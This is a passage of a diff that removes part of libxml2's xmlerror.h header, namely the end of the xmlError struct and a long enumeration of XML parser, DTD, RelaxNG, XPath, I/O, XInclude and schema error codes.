information */ - char *str2; /* extra string information */ - char *str3; /* extra string information */ - int int1; /* extra number information */ - int int2; /* error column # or 0 if N/A (todo: rename field when we would brk ABI) */ - void *ctxt; /* the parser context if available */ - void *node; /* the node in the tree */ -}; - -/** - * xmlParserError: - * - * This is an error that the XML (or HTML) parser can generate - */ -typedef enum { - XML_ERR_OK = 0, - XML_ERR_INTERNAL_ERROR, /* 1 */ - XML_ERR_NO_MEMORY, /* 2 */ - XML_ERR_DOCUMENT_START, /* 3 */ - XML_ERR_DOCUMENT_EMPTY, /* 4 */ - XML_ERR_DOCUMENT_END, /* 5 */ - XML_ERR_INVALID_HEX_CHARREF, /* 6 */ - XML_ERR_INVALID_DEC_CHARREF, /* 7 */ - XML_ERR_INVALID_CHARREF, /* 8 */ - XML_ERR_INVALID_CHAR, /* 9 */ - XML_ERR_CHARREF_AT_EOF, /* 10 */ - XML_ERR_CHARREF_IN_PROLOG, /* 11 */ - XML_ERR_CHARREF_IN_EPILOG, /* 12 */ - XML_ERR_CHARREF_IN_DTD, /* 13 */ - XML_ERR_ENTITYREF_AT_EOF, /* 14 */ - XML_ERR_ENTITYREF_IN_PROLOG, /* 15 */ - XML_ERR_ENTITYREF_IN_EPILOG, /* 16 */ - XML_ERR_ENTITYREF_IN_DTD, /* 17 */ - XML_ERR_PEREF_AT_EOF, /* 18 */ - XML_ERR_PEREF_IN_PROLOG, /* 19 */ - XML_ERR_PEREF_IN_EPILOG, /* 20 */ - XML_ERR_PEREF_IN_INT_SUBSET, /* 21 */ - XML_ERR_ENTITYREF_NO_NAME, /* 22 */ - XML_ERR_ENTITYREF_SEMICOL_MISSING, /* 23 */ - XML_ERR_PEREF_NO_NAME, /* 24 */ - XML_ERR_PEREF_SEMICOL_MISSING, /* 25 */ - XML_ERR_UNDECLARED_ENTITY, /* 26 */ - XML_WAR_UNDECLARED_ENTITY, /* 27 */ - XML_ERR_UNPARSED_ENTITY, /* 28 */ - XML_ERR_ENTITY_IS_EXTERNAL, /* 29 */ - XML_ERR_ENTITY_IS_PARAMETER, /* 30 */ - XML_ERR_UNKNOWN_ENCODING, /* 31 */ - XML_ERR_UNSUPPORTED_ENCODING, /* 32 */ - XML_ERR_STRING_NOT_STARTED, /* 33 */ - XML_ERR_STRING_NOT_CLOSED, /* 34 */ - XML_ERR_NS_DECL_ERROR, /* 35 */ - XML_ERR_ENTITY_NOT_STARTED, /* 36 */ - XML_ERR_ENTITY_NOT_FINISHED, /* 37 */ - XML_ERR_LT_IN_ATTRIBUTE, /* 38 */ - XML_ERR_ATTRIBUTE_NOT_STARTED, /* 39 */ - XML_ERR_ATTRIBUTE_NOT_FINISHED, /* 40 */ - XML_ERR_ATTRIBUTE_WITHOUT_VALUE, /* 41 */ - XML_ERR_ATTRIBUTE_REDEFINED, /* 42 */ - XML_ERR_LITERAL_NOT_STARTED, /* 43 */ - XML_ERR_LITERAL_NOT_FINISHED, /* 44 */ - XML_ERR_COMMENT_NOT_FINISHED, /* 45 */ - XML_ERR_PI_NOT_STARTED, /* 46 */ - XML_ERR_PI_NOT_FINISHED, /* 47 */ - XML_ERR_NOTATION_NOT_STARTED, /* 48 */ - XML_ERR_NOTATION_NOT_FINISHED, /* 49 */ - XML_ERR_ATTLIST_NOT_STARTED, /* 50 */ - XML_ERR_ATTLIST_NOT_FINISHED, /* 51 */ - XML_ERR_MIXED_NOT_STARTED, /* 52 */ - XML_ERR_MIXED_NOT_FINISHED, /* 53 */ - XML_ERR_ELEMCONTENT_NOT_STARTED, /* 54 */ - XML_ERR_ELEMCONTENT_NOT_FINISHED, /* 55 */ - XML_ERR_XMLDECL_NOT_STARTED, /* 56 */ - XML_ERR_XMLDECL_NOT_FINISHED, /* 57 */ - XML_ERR_CONDSEC_NOT_STARTED, /* 58 */ - XML_ERR_CONDSEC_NOT_FINISHED, /* 59 */ - XML_ERR_EXT_SUBSET_NOT_FINISHED, /* 60 */ - XML_ERR_DOCTYPE_NOT_FINISHED, /* 61 */ - XML_ERR_MISPLACED_CDATA_END, /* 62 */ - XML_ERR_CDATA_NOT_FINISHED, /* 63 */ - XML_ERR_RESERVED_XML_NAME, /* 64 */ - XML_ERR_SPACE_REQUIRED, /* 65 */ - XML_ERR_SEPARATOR_REQUIRED, /* 66 */ - XML_ERR_NMTOKEN_REQUIRED, /* 67 */ - XML_ERR_NAME_REQUIRED, /* 68 */ - XML_ERR_PCDATA_REQUIRED, /* 69 */ - XML_ERR_URI_REQUIRED, /* 70 */ - XML_ERR_PUBID_REQUIRED, /* 71 */ - XML_ERR_LT_REQUIRED, /* 72 */ - XML_ERR_GT_REQUIRED, /* 73 */ - XML_ERR_LTSLASH_REQUIRED, /* 74 */ - XML_ERR_EQUAL_REQUIRED, /* 75 */ - XML_ERR_TAG_NAME_MISMATCH, /* 76 */ - XML_ERR_TAG_NOT_FINISHED, /* 77 */ - XML_ERR_STANDALONE_VALUE, /* 78 */ - XML_ERR_ENCODING_NAME, /* 79 */ - XML_ERR_HYPHEN_IN_COMMENT, /* 80 */ - XML_ERR_INVALID_ENCODING, /* 81 */ - XML_ERR_EXT_ENTITY_STANDALONE, /* 82 */ - XML_ERR_CONDSEC_INVALID, /* 83 */ - XML_ERR_VALUE_REQUIRED, /* 84 */ - XML_ERR_NOT_WELL_BALANCED, /* 85 */ - XML_ERR_EXTRA_CONTENT, /* 86 */ - XML_ERR_ENTITY_CHAR_ERROR, /* 87 */ - XML_ERR_ENTITY_PE_INTERNAL, /* 88 */ - XML_ERR_ENTITY_LOOP, /* 89 */ - XML_ERR_ENTITY_BOUNDARY, /* 90 */ - XML_ERR_INVALID_URI, /* 91 */ - XML_ERR_URI_FRAGMENT, /* 92 */ - XML_WAR_CATALOG_PI, /* 93 */ - XML_ERR_NO_DTD, /* 94 */ - XML_ERR_CONDSEC_INVALID_KEYWORD, /* 95 */ - XML_ERR_VERSION_MISSING, /* 96 */ - XML_WAR_UNKNOWN_VERSION, /* 97 */ - XML_WAR_LANG_VALUE, /* 98 */ - XML_WAR_NS_URI, /* 99 */ - XML_WAR_NS_URI_RELATIVE, /* 100 */ - XML_ERR_MISSING_ENCODING, /* 101 */ - XML_WAR_SPACE_VALUE, /* 102 */ - XML_ERR_NOT_STANDALONE, /* 103 */ - XML_ERR_ENTITY_PROCESSING, /* 104 */ - XML_ERR_NOTATION_PROCESSING, /* 105 */ - XML_WAR_NS_COLUMN, /* 106 */ - XML_WAR_ENTITY_REDEFINED, /* 107 */ - XML_ERR_UNKNOWN_VERSION, /* 108 */ - XML_ERR_VERSION_MISMATCH, /* 109 */ - XML_ERR_NAME_TOO_LONG, /* 110 */ - XML_ERR_USER_STOP, /* 111 */ - XML_NS_ERR_XML_NAMESPACE = 200, - XML_NS_ERR_UNDEFINED_NAMESPACE, /* 201 */ - XML_NS_ERR_QNAME, /* 202 */ - XML_NS_ERR_ATTRIBUTE_REDEFINED, /* 203 */ - XML_NS_ERR_EMPTY, /* 204 */ - XML_NS_ERR_COLON, /* 205 */ - XML_DTD_ATTRIBUTE_DEFAULT = 500, - XML_DTD_ATTRIBUTE_REDEFINED, /* 501 */ - XML_DTD_ATTRIBUTE_VALUE, /* 502 */ - XML_DTD_CONTENT_ERROR, /* 503 */ - XML_DTD_CONTENT_MODEL, /* 504 */ - XML_DTD_CONTENT_NOT_DETERMINIST, /* 505 */ - XML_DTD_DIFFERENT_PREFIX, /* 506 */ - XML_DTD_ELEM_DEFAULT_NAMESPACE, /* 507 */ - XML_DTD_ELEM_NAMESPACE, /* 508 */ - XML_DTD_ELEM_REDEFINED, /* 509 */ - XML_DTD_EMPTY_NOTATION, /* 510 */ - XML_DTD_ENTITY_TYPE, /* 511 */ - XML_DTD_ID_FIXED, /* 512 */ - XML_DTD_ID_REDEFINED, /* 513 */ - XML_DTD_ID_SUBSET, /* 514 */ - XML_DTD_INVALID_CHILD, /* 515 */ - XML_DTD_INVALID_DEFAULT, /* 516 */ - XML_DTD_LOAD_ERROR, /* 517 */ - XML_DTD_MISSING_ATTRIBUTE, /* 518 */ - XML_DTD_MIXED_CORRUPT, /* 519 */ - XML_DTD_MULTIPLE_ID, /* 520 */ - XML_DTD_NO_DOC, /* 521 */ - XML_DTD_NO_DTD, /* 522 */ - XML_DTD_NO_ELEM_NAME, /* 523 */ - XML_DTD_NO_PREFIX, /* 524 */ - XML_DTD_NO_ROOT, /* 525 */ - XML_DTD_NOTATION_REDEFINED, /* 526 */ - XML_DTD_NOTATION_VALUE, /* 527 */ - XML_DTD_NOT_EMPTY, /* 528 */ - XML_DTD_NOT_PCDATA, /* 529 */ - XML_DTD_NOT_STANDALONE, /* 530 */ - XML_DTD_ROOT_NAME, /* 531 */ - XML_DTD_STANDALONE_WHITE_SPACE, /* 532 */ - XML_DTD_UNKNOWN_ATTRIBUTE, /* 533 */ - XML_DTD_UNKNOWN_ELEM, /* 534 */ - XML_DTD_UNKNOWN_ENTITY, /* 535 */ - XML_DTD_UNKNOWN_ID, /* 536 */ - XML_DTD_UNKNOWN_NOTATION, /* 537 */ - XML_DTD_STANDALONE_DEFAULTED, /* 538 */ - XML_DTD_XMLID_VALUE, /* 539 */ - XML_DTD_XMLID_TYPE, /* 540 */ - XML_DTD_DUP_TOKEN, /* 541 */ - XML_HTML_STRUCURE_ERROR = 800, - XML_HTML_UNKNOWN_TAG, /* 801 */ - XML_RNGP_ANYNAME_ATTR_ANCESTOR = 1000, - XML_RNGP_ATTR_CONFLICT, /* 1001 */ - XML_RNGP_ATTRIBUTE_CHILDREN, /* 1002 */ - XML_RNGP_ATTRIBUTE_CONTENT, /* 1003 */ - XML_RNGP_ATTRIBUTE_EMPTY, /* 1004 */ - XML_RNGP_ATTRIBUTE_NOOP, /* 1005 */ - XML_RNGP_CHOICE_CONTENT, /* 1006 */ - XML_RNGP_CHOICE_EMPTY, /* 1007 */ - XML_RNGP_CREATE_FAILURE, /* 1008 */ - XML_RNGP_DATA_CONTENT, /* 1009 */ - XML_RNGP_DEF_CHOICE_AND_INTERLEAVE, /* 1010 */ - XML_RNGP_DEFINE_CREATE_FAILED, /* 1011 */ - XML_RNGP_DEFINE_EMPTY, /* 1012 */ - XML_RNGP_DEFINE_MISSING, /* 1013 */ - XML_RNGP_DEFINE_NAME_MISSING, /* 1014 */ - XML_RNGP_ELEM_CONTENT_EMPTY, /* 1015 */ - XML_RNGP_ELEM_CONTENT_ERROR, /* 1016 */ - XML_RNGP_ELEMENT_EMPTY, /* 1017 */ - XML_RNGP_ELEMENT_CONTENT, /* 1018 */ - XML_RNGP_ELEMENT_NAME, /* 1019 */ - XML_RNGP_ELEMENT_NO_CONTENT, /* 1020 */ - XML_RNGP_ELEM_TEXT_CONFLICT, /* 1021 */ - XML_RNGP_EMPTY, /* 1022 */ - XML_RNGP_EMPTY_CONSTRUCT, /* 1023 */ - XML_RNGP_EMPTY_CONTENT, /* 1024 */ - XML_RNGP_EMPTY_NOT_EMPTY, /* 1025 */ - XML_RNGP_ERROR_TYPE_LIB, /* 1026 */ - XML_RNGP_EXCEPT_EMPTY, /* 1027 */ - XML_RNGP_EXCEPT_MISSING, /* 1028 */ - XML_RNGP_EXCEPT_MULTIPLE, /* 1029 */ - XML_RNGP_EXCEPT_NO_CONTENT, /* 1030 */ - XML_RNGP_EXTERNALREF_EMTPY, /* 1031 */ - XML_RNGP_EXTERNAL_REF_FAILURE, /* 1032 */ - XML_RNGP_EXTERNALREF_RECURSE, /* 1033 */ - XML_RNGP_FORBIDDEN_ATTRIBUTE, /* 1034 */ - XML_RNGP_FOREIGN_ELEMENT, /* 1035 */ - XML_RNGP_GRAMMAR_CONTENT, /* 1036 */ - XML_RNGP_GRAMMAR_EMPTY, /* 1037 */ - XML_RNGP_GRAMMAR_MISSING, /* 1038 */ - XML_RNGP_GRAMMAR_NO_START, /* 1039 */ - XML_RNGP_GROUP_ATTR_CONFLICT, /* 1040 */ - XML_RNGP_HREF_ERROR, /* 1041 */ - XML_RNGP_INCLUDE_EMPTY, /* 1042 */ - XML_RNGP_INCLUDE_FAILURE, /* 1043 */ - XML_RNGP_INCLUDE_RECURSE, /* 1044 */ - XML_RNGP_INTERLEAVE_ADD, /* 1045 */ - XML_RNGP_INTERLEAVE_CREATE_FAILED, /* 1046 */ - XML_RNGP_INTERLEAVE_EMPTY, /* 1047 */ - XML_RNGP_INTERLEAVE_NO_CONTENT, /* 1048 */ - XML_RNGP_INVALID_DEFINE_NAME, /* 1049 */ - XML_RNGP_INVALID_URI, /* 1050 */ - XML_RNGP_INVALID_VALUE, /* 1051 */ - XML_RNGP_MISSING_HREF, /* 1052 */ - XML_RNGP_NAME_MISSING, /* 1053 */ - XML_RNGP_NEED_COMBINE, /* 1054 */ - XML_RNGP_NOTALLOWED_NOT_EMPTY, /* 1055 */ - XML_RNGP_NSNAME_ATTR_ANCESTOR, /* 1056 */ - XML_RNGP_NSNAME_NO_NS, /* 1057 */ - XML_RNGP_PARAM_FORBIDDEN, /* 1058 */ - XML_RNGP_PARAM_NAME_MISSING, /* 1059 */ - XML_RNGP_PARENTREF_CREATE_FAILED, /* 1060 */ - XML_RNGP_PARENTREF_NAME_INVALID, /* 1061 */ - XML_RNGP_PARENTREF_NO_NAME, /* 1062 */ - XML_RNGP_PARENTREF_NO_PARENT, /* 1063 */ - XML_RNGP_PARENTREF_NOT_EMPTY, /* 1064 */ - XML_RNGP_PARSE_ERROR, /* 1065 */ - XML_RNGP_PAT_ANYNAME_EXCEPT_ANYNAME, /* 1066 */ - XML_RNGP_PAT_ATTR_ATTR, /* 1067 */ - XML_RNGP_PAT_ATTR_ELEM, /* 1068 */ - XML_RNGP_PAT_DATA_EXCEPT_ATTR, /* 1069 */ - XML_RNGP_PAT_DATA_EXCEPT_ELEM, /* 1070 */ - XML_RNGP_PAT_DATA_EXCEPT_EMPTY, /* 1071 */ - XML_RNGP_PAT_DATA_EXCEPT_GROUP, /* 1072 */ - XML_RNGP_PAT_DATA_EXCEPT_INTERLEAVE, /* 1073 */ - XML_RNGP_PAT_DATA_EXCEPT_LIST, /* 1074 */ - XML_RNGP_PAT_DATA_EXCEPT_ONEMORE, /* 1075 */ - XML_RNGP_PAT_DATA_EXCEPT_REF, /* 1076 */ - XML_RNGP_PAT_DATA_EXCEPT_TEXT, /* 1077 */ - XML_RNGP_PAT_LIST_ATTR, /* 1078 */ - XML_RNGP_PAT_LIST_ELEM, /* 1079 */ - XML_RNGP_PAT_LIST_INTERLEAVE, /* 1080 */ - XML_RNGP_PAT_LIST_LIST, /* 1081 */ - XML_RNGP_PAT_LIST_REF, /* 1082 */ - XML_RNGP_PAT_LIST_TEXT, /* 1083 */ - XML_RNGP_PAT_NSNAME_EXCEPT_ANYNAME, /* 1084 */ - XML_RNGP_PAT_NSNAME_EXCEPT_NSNAME, /* 1085 */ - XML_RNGP_PAT_ONEMORE_GROUP_ATTR, /* 1086 */ - XML_RNGP_PAT_ONEMORE_INTERLEAVE_ATTR, /* 1087 */ - XML_RNGP_PAT_START_ATTR, /* 1088 */ - XML_RNGP_PAT_START_DATA, /* 1089 */ - XML_RNGP_PAT_START_EMPTY, /* 1090 */ - XML_RNGP_PAT_START_GROUP, /* 1091 */ - XML_RNGP_PAT_START_INTERLEAVE, /* 1092 */ - XML_RNGP_PAT_START_LIST, /* 1093 */ - XML_RNGP_PAT_START_ONEMORE, /* 1094 */ - XML_RNGP_PAT_START_TEXT, /* 1095 */ - XML_RNGP_PAT_START_VALUE, /* 1096 */ - XML_RNGP_PREFIX_UNDEFINED, /* 1097 */ - XML_RNGP_REF_CREATE_FAILED, /* 1098 */ - XML_RNGP_REF_CYCLE, /* 1099 */ - XML_RNGP_REF_NAME_INVALID, /* 1100 */ - XML_RNGP_REF_NO_DEF, /* 1101 */ - XML_RNGP_REF_NO_NAME, /* 1102 */ - XML_RNGP_REF_NOT_EMPTY, /* 1103 */ - XML_RNGP_START_CHOICE_AND_INTERLEAVE, /* 1104 */ - XML_RNGP_START_CONTENT, /* 1105 */ - XML_RNGP_START_EMPTY, /* 1106 */ - XML_RNGP_START_MISSING, /* 1107 */ - XML_RNGP_TEXT_EXPECTED, /* 1108 */ - XML_RNGP_TEXT_HAS_CHILD, /* 1109 */ - XML_RNGP_TYPE_MISSING, /* 1110 */ - XML_RNGP_TYPE_NOT_FOUND, /* 1111 */ - XML_RNGP_TYPE_VALUE, /* 1112 */ - XML_RNGP_UNKNOWN_ATTRIBUTE, /* 1113 */ - XML_RNGP_UNKNOWN_COMBINE, /* 1114 */ - XML_RNGP_UNKNOWN_CONSTRUCT, /* 1115 */ - XML_RNGP_UNKNOWN_TYPE_LIB, /* 1116 */ - XML_RNGP_URI_FRAGMENT, /* 1117 */ - XML_RNGP_URI_NOT_ABSOLUTE, /* 1118 */ - XML_RNGP_VALUE_EMPTY, /* 1119 */ - XML_RNGP_VALUE_NO_CONTENT, /* 1120 */ - XML_RNGP_XMLNS_NAME, /* 1121 */ - XML_RNGP_XML_NS, /* 1122 */ - XML_XPATH_EXPRESSION_OK = 1200, - XML_XPATH_NUMBER_ERROR, /* 1201 */ - XML_XPATH_UNFINISHED_LITERAL_ERROR, /* 1202 */ - XML_XPATH_START_LITERAL_ERROR, /* 1203 */ - XML_XPATH_VARIABLE_REF_ERROR, /* 1204 */ - XML_XPATH_UNDEF_VARIABLE_ERROR, /* 1205 */ - XML_XPATH_INVALID_PREDICATE_ERROR, /* 1206 */ - XML_XPATH_EXPR_ERROR, /* 1207 */ - XML_XPATH_UNCLOSED_ERROR, /* 1208 */ - XML_XPATH_UNKNOWN_FUNC_ERROR, /* 1209 */ - XML_XPATH_INVALID_OPERAND, /* 1210 */ - XML_XPATH_INVALID_TYPE, /* 1211 */ - XML_XPATH_INVALID_ARITY, /* 1212 */ - XML_XPATH_INVALID_CTXT_SIZE, /* 1213 */ - XML_XPATH_INVALID_CTXT_POSITION, /* 1214 */ - XML_XPATH_MEMORY_ERROR, /* 1215 */ - XML_XPTR_SYNTAX_ERROR, /* 1216 */ - XML_XPTR_RESOURCE_ERROR, /* 1217 */ - XML_XPTR_SUB_RESOURCE_ERROR, /* 1218 */ - XML_XPATH_UNDEF_PREFIX_ERROR, /* 1219 */ - XML_XPATH_ENCODING_ERROR, /* 1220 */ - XML_XPATH_INVALID_CHAR_ERROR, /* 1221 */ - XML_TREE_INVALID_HEX = 1300, - XML_TREE_INVALID_DEC, /* 1301 */ - XML_TREE_UNTERMINATED_ENTITY, /* 1302 */ - XML_TREE_NOT_UTF8, /* 1303 */ - XML_SAVE_NOT_UTF8 = 1400, - XML_SAVE_CHAR_INVALID, /* 1401 */ - XML_SAVE_NO_DOCTYPE, /* 1402 */ - XML_SAVE_UNKNOWN_ENCODING, /* 1403 */ - XML_REGEXP_COMPILE_ERROR = 1450, - XML_IO_UNKNOWN = 1500, - XML_IO_EACCES, /* 1501 */ - XML_IO_EAGAIN, /* 1502 */ - XML_IO_EBADF, /* 1503 */ - XML_IO_EBADMSG, /* 1504 */ - XML_IO_EBUSY, /* 1505 */ - XML_IO_ECANCELED, /* 1506 */ - XML_IO_ECHILD, /* 1507 */ - XML_IO_EDEADLK, /* 1508 */ - XML_IO_EDOM, /* 1509 */ - XML_IO_EEXIST, /* 1510 */ - XML_IO_EFAULT, /* 1511 */ - XML_IO_EFBIG, /* 1512 */ - XML_IO_EINPROGRESS, /* 1513 */ - XML_IO_EINTR, /* 1514 */ - XML_IO_EINVAL, /* 1515 */ - XML_IO_EIO, /* 1516 */ - XML_IO_EISDIR, /* 1517 */ - XML_IO_EMFILE, /* 1518 */ - XML_IO_EMLINK, /* 1519 */ - XML_IO_EMSGSIZE, /* 1520 */ - XML_IO_ENAMETOOLONG, /* 1521 */ - XML_IO_ENFILE, /* 1522 */ - XML_IO_ENODEV, /* 1523 */ - XML_IO_ENOENT, /* 1524 */ - XML_IO_ENOEXEC, /* 1525 */ - XML_IO_ENOLCK, /* 1526 */ - XML_IO_ENOMEM, /* 1527 */ - XML_IO_ENOSPC, /* 1528 */ - XML_IO_ENOSYS, /* 1529 */ - XML_IO_ENOTDIR, /* 1530 */ - XML_IO_ENOTEMPTY, /* 1531 */ - XML_IO_ENOTSUP, /* 1532 */ - XML_IO_ENOTTY, /* 1533 */ - XML_IO_ENXIO, /* 1534 */ - XML_IO_EPERM, /* 1535 */ - XML_IO_EPIPE, /* 1536 */ - XML_IO_ERANGE, /* 1537 */ - XML_IO_EROFS, /* 1538 */ - XML_IO_ESPIPE, /* 1539 */ - XML_IO_ESRCH, /* 1540 */ - XML_IO_ETIMEDOUT, /* 1541 */ - XML_IO_EXDEV, /* 1542 */ - XML_IO_NETWORK_ATTEMPT, /* 1543 */ - XML_IO_ENCODER, /* 1544 */ - XML_IO_FLUSH, /* 1545 */ - XML_IO_WRITE, /* 1546 */ - XML_IO_NO_INPUT, /* 1547 */ - XML_IO_BUFFER_FULL, /* 1548 */ - XML_IO_LOAD_ERROR, /* 1549 */ - XML_IO_ENOTSOCK, /* 1550 */ - XML_IO_EISCONN, /* 1551 */ - XML_IO_ECONNREFUSED, /* 1552 */ - XML_IO_ENETUNREACH, /* 1553 */ - XML_IO_EADDRINUSE, /* 1554 */ - XML_IO_EALREADY, /* 1555 */ - XML_IO_EAFNOSUPPORT, /* 1556 */ - XML_XINCLUDE_RECURSION=1600, - XML_XINCLUDE_PARSE_VALUE, /* 1601 */ - XML_XINCLUDE_ENTITY_DEF_MISMATCH, /* 1602 */ - XML_XINCLUDE_NO_HREF, /* 1603 */ - XML_XINCLUDE_NO_FALLBACK, /* 1604 */ - XML_XINCLUDE_HREF_URI, /* 1605 */ - XML_XINCLUDE_TEXT_FRAGMENT, /* 1606 */ - XML_XINCLUDE_TEXT_DOCUMENT, /* 1607 */ - XML_XINCLUDE_INVALID_CHAR, /* 1608 */ - XML_XINCLUDE_BUILD_FAILED, /* 1609 */ - XML_XINCLUDE_UNKNOWN_ENCODING, /* 1610 */ - XML_XINCLUDE_MULTIPLE_ROOT, /* 1611 */ - XML_XINCLUDE_XPTR_FAILED, /* 1612 */ - XML_XINCLUDE_XPTR_RESULT, /* 1613 */ - XML_XINCLUDE_INCLUDE_IN_INCLUDE, /* 1614 */ - XML_XINCLUDE_FALLBACKS_IN_INCLUDE, /* 1615 */ - XML_XINCLUDE_FALLBACK_NOT_IN_INCLUDE, /* 1616 */ - XML_XINCLUDE_DEPRECATED_NS, /* 1617 */ - XML_XINCLUDE_FRAGMENT_ID, /* 1618 */ - XML_CATALOG_MISSING_ATTR = 1650, - XML_CATALOG_ENTRY_BROKEN, /* 1651 */ - XML_CATALOG_PREFER_VALUE, /* 1652 */ - XML_CATALOG_NOT_CATALOG, /* 1653 */ - XML_CATALOG_RECURSION, /* 1654 */ - XML_SCHEMAP_PREFIX_UNDEFINED = 1700, - XML_SCHEMAP_ATTRFORMDEFAULT_VALUE, /* 1701 */ - XML_SCHEMAP_ATTRGRP_NONAME_NOREF, /* 1702 */ - XML_SCHEMAP_ATTR_NONAME_NOREF, /* 1703 */ - XML_SCHEMAP_COMPLEXTYPE_NONAME_NOREF, /* 1704 */ - XML_SCHEMAP_ELEMFORMDEFAULT_VALUE, /* 1705 */ - XML_SCHEMAP_ELEM_NONAME_NOREF, /* 1706 */ - XML_SCHEMAP_EXTENSION_NO_BASE, /* 1707 */ - XML_SCHEMAP_FACET_NO_VALUE, /* 1708 */ - XML_SCHEMAP_FAILED_BUILD_IMPORT, /* 1709 */ - XML_SCHEMAP_GROUP_NONAME_NOREF, /* 1710 */ - XML_SCHEMAP_IMPORT_NAMESPACE_NOT_URI, /* 1711 */ - XML_SCHEMAP_IMPORT_REDEFINE_NSNAME, /* 1712 */ - XML_SCHEMAP_IMPORT_SCHEMA_NOT_URI, /* 1713 */ - XML_SCHEMAP_INVALID_BOOLEAN, /* 1714 */ - XML_SCHEMAP_INVALID_ENUM, /* 1715 */ - XML_SCHEMAP_INVALID_FACET, /* 1716 */ - XML_SCHEMAP_INVALID_FACET_VALUE, /* 1717 */ - XML_SCHEMAP_INVALID_MAXOCCURS, /* 1718 */ - XML_SCHEMAP_INVALID_MINOCCURS, /* 1719 */ - XML_SCHEMAP_INVALID_REF_AND_SUBTYPE, /* 1720 */ - XML_SCHEMAP_INVALID_WHITE_SPACE, /* 1721 */ - XML_SCHEMAP_NOATTR_NOREF, /* 1722 */ - XML_SCHEMAP_NOTATION_NO_NAME, /* 1723 */ - XML_SCHEMAP_NOTYPE_NOREF, /* 1724 */ - XML_SCHEMAP_REF_AND_SUBTYPE, /* 1725 */ - XML_SCHEMAP_RESTRICTION_NONAME_NOREF, /* 1726 */ - XML_SCHEMAP_SIMPLETYPE_NONAME, /* 1727 */ - XML_SCHEMAP_TYPE_AND_SUBTYPE, /* 1728 */ - XML_SCHEMAP_UNKNOWN_ALL_CHILD, /* 1729 */ - XML_SCHEMAP_UNKNOWN_ANYATTRIBUTE_CHILD, /* 1730 */ - XML_SCHEMAP_UNKNOWN_ATTR_CHILD, /* 1731 */ - XML_SCHEMAP_UNKNOWN_ATTRGRP_CHILD, /* 1732 */ - XML_SCHEMAP_UNKNOWN_ATTRIBUTE_GROUP, /* 1733 */ - XML_SCHEMAP_UNKNOWN_BASE_TYPE, /* 1734 */ - XML_SCHEMAP_UNKNOWN_CHOICE_CHILD, /* 1735 */ - XML_SCHEMAP_UNKNOWN_COMPLEXCONTENT_CHILD, /* 1736 */ - XML_SCHEMAP_UNKNOWN_COMPLEXTYPE_CHILD, /* 1737 */ - XML_SCHEMAP_UNKNOWN_ELEM_CHILD, /* 1738 */ - XML_SCHEMAP_UNKNOWN_EXTENSION_CHILD, /* 1739 */ - XML_SCHEMAP_UNKNOWN_FACET_CHILD, /* 1740 */ - XML_SCHEMAP_UNKNOWN_FACET_TYPE, /* 1741 */ - XML_SCHEMAP_UNKNOWN_GROUP_CHILD, /* 1742 */ - XML_SCHEMAP_UNKNOWN_IMPORT_CHILD, /* 1743 */ - XML_SCHEMAP_UNKNOWN_LIST_CHILD, /* 1744 */ - XML_SCHEMAP_UNKNOWN_NOTATION_CHILD, /* 1745 */ - XML_SCHEMAP_UNKNOWN_PROCESSCONTENT_CHILD, /* 1746 */ - XML_SCHEMAP_UNKNOWN_REF, /* 1747 */ - XML_SCHEMAP_UNKNOWN_RESTRICTION_CHILD, /* 1748 */ - XML_SCHEMAP_UNKNOWN_SCHEMAS_CHILD, /* 1749 */ - XML_SCHEMAP_UNKNOWN_SEQUENCE_CHILD, /* 1750 */ - XML_SCHEMAP_UNKNOWN_SIMPLECONTENT_CHILD, /* 1751 */ - XML_SCHEMAP_UNKNOWN_SIMPLETYPE_CHILD, /* 1752 */ - XML_SCHEMAP_UNKNOWN_TYPE, /* 1753 */ - XML_SCHEMAP_UNKNOWN_UNION_CHILD, /* 1754 */ - XML_SCHEMAP_ELEM_DEFAULT_FIXED, /* 1755 */ - XML_SCHEMAP_REGEXP_INVALID, /* 1756 */ - XML_SCHEMAP_FAILED_LOAD, /* 1757 */ - XML_SCHEMAP_NOTHING_TO_PARSE, /* 1758 */ - XML_SCHEMAP_NOROOT, /* 1759 */ - XML_SCHEMAP_REDEFINED_GROUP, /* 1760 */ - XML_SCHEMAP_REDEFINED_TYPE, /* 1761 */ - XML_SCHEMAP_REDEFINED_ELEMENT, /* 1762 */ - XML_SCHEMAP_REDEFINED_ATTRGROUP, /* 1763 */ - XML_SCHEMAP_REDEFINED_ATTR, /* 1764 */ - XML_SCHEMAP_REDEFINED_NOTATION, /* 1765 */ - XML_SCHEMAP_FAILED_PARSE, /* 1766 */ - XML_SCHEMAP_UNKNOWN_PREFIX, /* 1767 */ - XML_SCHEMAP_DEF_AND_PREFIX, /* 1768 */ - XML_SCHEMAP_UNKNOWN_INCLUDE_CHILD, /* 1769 */ - XML_SCHEMAP_INCLUDE_SCHEMA_NOT_URI, /* 1770 */ - XML_SCHEMAP_INCLUDE_SCHEMA_NO_URI, /* 1771 */ - XML_SCHEMAP_NOT_SCHEMA, /* 1772 */ - XML_SCHEMAP_UNKNOWN_MEMBER_TYPE, /* 1773 */ - XML_SCHEMAP_INVALID_ATTR_USE, /* 1774 */ - XML_SCHEMAP_RECURSIVE, /* 1775 */ - XML_SCHEMAP_SUPERNUMEROUS_LIST_ITEM_TYPE, /* 1776 */ - XML_SCHEMAP_INVALID_ATTR_COMBINATION, /* 1777 */ - XML_SCHEMAP_INVALID_ATTR_INLINE_COMBINATION, /* 1778 */ - XML_SCHEMAP_MISSING_SIMPLETYPE_CHILD, /* 1779 */ - XML_SCHEMAP_INVALID_ATTR_NAME, /* 1780 */ - XML_SCHEMAP_REF_AND_CONTENT, /* 1781 */ - XML_SCHEMAP_CT_PROPS_CORRECT_1, /* 1782 */ - XML_SCHEMAP_CT_PROPS_CORRECT_2, /* 1783 */ - XML_SCHEMAP_CT_PROPS_CORRECT_3, /* 1784 */ - XML_SCHEMAP_CT_PROPS_CORRECT_4, /* 1785 */ - XML_SCHEMAP_CT_PROPS_CORRECT_5, /* 1786 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_1, /* 1787 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_1, /* 1788 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_2, /* 1789 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_2, /* 1790 */ - XML_SCHEMAP_DERIVATION_OK_RESTRICTION_3, /* 1791 */ - XML_SCHEMAP_WILDCARD_INVALID_NS_MEMBER, /* 1792 */ - XML_SCHEMAP_INTERSECTION_NOT_EXPRESSIBLE, /* 1793 */ - XML_SCHEMAP_UNION_NOT_EXPRESSIBLE, /* 1794 */ - XML_SCHEMAP_SRC_IMPORT_3_1, /* 1795 